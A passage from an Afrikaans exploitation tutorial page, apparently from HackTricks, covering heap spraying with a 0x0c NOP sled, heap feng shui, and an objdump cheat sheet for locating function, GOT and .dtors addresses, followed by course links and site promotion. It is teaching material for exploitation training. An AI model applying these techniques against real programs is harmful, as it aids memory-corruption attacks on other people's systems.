Byvoorbeeld, dit sal maak dat die size 1552 is sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n unsigned vergelyking gemaak word).
Boonop is daar 'n herstel toegepas om dit nog moeiliker te maak.
**Heap Spraying**
Basies bestaan dit uit die reservasie van soveel moontlik geheue vir heaps en om dit met 'n matras van nops wat met 'n shellcode eindig, te vul. Boonop word 0x0c as matras gebruik. Dit sal probeer om na die adres 0x0c0c0c0c te spring, en so as daar enige adres oorgeskryf word waarnatoe daar na geroep gaan word met hierdie matras, sal dit daarheen spring. Basies is die taktiek om soveel as moontlik te reserveer om te sien of 'n pointer oorgeskryf word en na 0x0c0c0c0c te spring in die verwagting dat daar nops is.
**Heap Feng Shui**
Dit bestaan uit die reservasie en vrystelling van geheue sodat daar stukke gereserveer word tussen vrye stukke. Die buffer wat oorloop sal in een van die eiers geleë wees.
**objdump -d uitvoerbare** —> Disas funksies\
**objdump -d ./PROGRAMMA | grep FUNKSIE** —> Kry funksie adres\
**objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en die OpCodes te kry\
**objdump -t ./exec | grep varBss** —> Simbooltabel, om adresse van veranderlikes en funksies te kry\
**objdump -TR ./exec | grep exit(func lib)** —> Om adresse van biblioteek funksies (GOT) te kry\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Kry die adres van puts om in die GOT oorgeskryf te word\
**objdump -D ./exec** —> Disas ALLES tot die ingange van die plt\
**objdump -p -/exec**\
**Info funksies strncmp —>** Info van die funksie in gdb
## Interessante kursusse
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Verwysings**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}